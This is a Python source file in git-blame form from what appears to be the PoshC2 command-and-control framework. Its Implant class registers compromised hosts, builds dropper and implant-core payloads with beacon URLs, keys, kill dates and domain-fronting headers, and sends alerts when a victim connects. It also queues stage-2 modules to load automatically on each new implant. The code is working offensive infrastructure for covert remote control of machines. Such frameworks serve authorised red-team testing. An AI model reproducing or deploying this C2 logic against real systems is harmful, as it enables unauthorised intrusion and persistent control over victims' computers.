2018-07-23 08:55:15 +00:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
from DB import *
|
|
|
|
from Colours import *
|
|
|
|
from Core import *
|
|
|
|
from AutoLoads import *
|
|
|
|
from ImplantHandler import *
|
|
|
|
import urllib2
|
|
|
|
|
|
|
|
class Implant(object):
|
|
|
|
|
|
|
|
def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, proxy):
|
|
|
|
self.RandomURI = randomuri()
|
2018-12-31 11:15:13 +00:00
|
|
|
self.Label = None
|
2018-07-23 08:55:15 +00:00
|
|
|
self.User = user
|
|
|
|
self.Hostname = hostname
|
|
|
|
self.IPAddress = ipaddress
|
|
|
|
self.Key = gen_key()
|
|
|
|
self.FirstSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S")
|
|
|
|
self.LastSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S")
|
|
|
|
self.PID = pid
|
|
|
|
self.Proxy = proxy
|
|
|
|
self.Arch = arch
|
|
|
|
self.Domain = domain
|
2018-08-14 20:17:54 +00:00
|
|
|
self.DomainFrontHeader = get_dfheader()
|
2018-07-23 08:55:15 +00:00
|
|
|
self.Alive = "Yes"
|
|
|
|
self.UserAgent = get_defaultuseragent()
|
|
|
|
self.Sleep = get_defaultbeacon()
|
|
|
|
self.ModsLoaded = ""
|
|
|
|
self.Pivot = pivot
|
|
|
|
self.KillDate = get_killdate()
|
|
|
|
self.ServerURL = new_serverurl = select_item("HostnameIP", "C2Server")
|
|
|
|
self.AllBeaconURLs = get_otherbeaconurls()
|
|
|
|
self.AllBeaconImages = get_images()
|
2018-12-27 12:10:46 +00:00
|
|
|
self.SharpCore = """
|
|
|
|
RANDOMURI19901%s10991IRUMODNAR
|
|
|
|
URLS10484390243%s34209348401SLRU
|
|
|
|
KILLDATE1665%s5661ETADLLIK
|
|
|
|
SLEEP98001%s10089PEELS
|
|
|
|
NEWKEY8839394%s4939388YEKWEN
|
|
|
|
IMGS19459394%s49395491SGMI""" % (self.RandomURI, self.AllBeaconURLs, self.KillDate, self.Sleep, self.Key, self.AllBeaconImages)
|
2019-02-12 22:06:26 +00:00
|
|
|
with open("%spy_dropper.sh" % (PayloadsDirectory), 'rb') as f:
|
2018-08-14 22:40:35 +00:00
|
|
|
self.PythonImplant = base64.b64encode(f.read())
|
2019-02-11 21:00:56 +00:00
|
|
|
py_implant_core = open("%s/Implant-Core.py" % FilesDirectory, 'r').read()
|
2019-02-06 16:11:18 +00:00
|
|
|
self.PythonCore = py_implant_core % (self.DomainFrontHeader,self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Key, self.RandomURI, self.UserAgent)
|
2019-02-11 21:00:56 +00:00
|
|
|
ps_implant_core = open("%s/Implant-Core.ps1" % FilesDirectory, 'r').read()
|
2019-02-06 16:11:18 +00:00
|
|
|
self.C2Core = ps_implant_core % (self.Key, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs)
|
2018-12-27 12:10:46 +00:00
|
|
|
#Add all db elements
|
2018-07-23 08:55:15 +00:00
|
|
|
|
|
|
|
def display(self):
|
|
|
|
print Colours.GREEN,""
|
2018-08-03 21:14:33 +00:00
|
|
|
it = self.Pivot
|
|
|
|
if (it == "OSX"):
|
|
|
|
it = "Python"
|
2018-09-19 20:15:39 +00:00
|
|
|
print "New %s implant connected: (uri=%s key=%s)" % (it, self.RandomURI, self.Key)
|
2018-10-18 19:06:48 +00:00
|
|
|
print "%s | Time:%s | PID:%s | Sleep:%s | %s (%s) | URL:%s" % (self.IPAddress, self.FirstSeen, self.PID, self.Sleep, (self.User+" @ "+self.Hostname), self.Arch, self.Proxy)
|
2018-07-23 08:55:15 +00:00
|
|
|
print "",Colours.END
|
|
|
|
|
|
|
|
try:
|
|
|
|
sound = select_item("Sounds","C2Server")
|
|
|
|
if sound == "Yes":
|
|
|
|
import pyttsx3
|
|
|
|
engine = pyttsx3.init()
|
|
|
|
rate = engine.getProperty('rate')
|
|
|
|
voices = engine.getProperty('voices')
|
|
|
|
engine.setProperty('voice', "english-us")
|
|
|
|
engine.setProperty('rate', rate-30)
|
|
|
|
engine.say("Nice, we have an implant")
|
|
|
|
engine.runAndWait()
|
|
|
|
except Exception as e:
|
2018-12-27 12:10:46 +00:00
|
|
|
EspeakError = "espeak error"
|
2018-07-23 08:55:15 +00:00
|
|
|
|
|
|
|
try:
|
|
|
|
apikey = select_item("APIKEY","C2Server")
|
|
|
|
mobile = select_item("MobileNumber","C2Server")
|
2018-09-07 11:03:57 +00:00
|
|
|
enotifications = select_item("EnableNotifications","C2Server")
|
|
|
|
poapitoken = select_item("APIToken","C2Server")
|
|
|
|
poapiuser = select_item("APIUser","C2Server")
|
2018-07-23 08:55:15 +00:00
|
|
|
|
2018-09-07 11:03:57 +00:00
|
|
|
if enotifications == "Yes":
|
|
|
|
import httplib, urllib
|
|
|
|
conn = httplib.HTTPSConnection("api.pushover.net:443")
|
|
|
|
conn.request("POST", "/1/messages.json",
|
|
|
|
urllib.urlencode({
|
|
|
|
"token": poapitoken,
|
|
|
|
"user": poapiuser,
|
|
|
|
"message": "NewImplant: %s @ %s" % (self.User,self.Hostname),
|
|
|
|
}), { "Content-type": "application/x-www-form-urlencoded" })
|
|
|
|
conn.getresponse()
|
2018-07-23 08:55:15 +00:00
|
|
|
|
2018-09-07 11:03:57 +00:00
|
|
|
if enotifications == "Yes" and apikey and mobile:
|
2018-07-23 08:55:15 +00:00
|
|
|
for number in mobile.split(","):
|
|
|
|
number = number.replace('"','')
|
|
|
|
url = "https://api.clockworksms.com/http/send.aspx?key=%s&to=%s&from=PoshC2&content=NewImplant:%s\%s @ %s" % (apikey, number, self.Domain,self.User,self.Hostname)
|
|
|
|
url = url.replace(" ","+")
|
|
|
|
response = urllib2.urlopen(url)
|
|
|
|
except Exception as e:
|
|
|
|
print "SMS send error: %s" % e
|
|
|
|
|
|
|
|
def save(self):
|
2018-12-31 11:15:13 +00:00
|
|
|
new_implant(self.RandomURI, self.User, self.Hostname, self.IPAddress, self.Key, self.FirstSeen, self.FirstSeen, self.PID, self.Proxy, self.Arch, self.Domain, self.Alive, self.Sleep, self.ModsLoaded, self.Pivot, self.Label)
|
2018-07-23 08:55:15 +00:00
|
|
|
|
|
|
|
def autoruns(self):
|
2019-02-11 21:00:56 +00:00
|
|
|
new_task("loadmodule Stage2-Core.ps1", "autoruns", self.RandomURI)
|
|
|
|
update_mods("Stage2-Core.ps1", self.RandomURI)
|
2018-07-23 08:55:15 +00:00
|
|
|
result = get_autoruns()
|
|
|
|
if result:
|
|
|
|
for autorun in result:
|
2019-02-11 17:05:14 +00:00
|
|
|
new_task(autorun[1], "autoruns", self.RandomURI)
|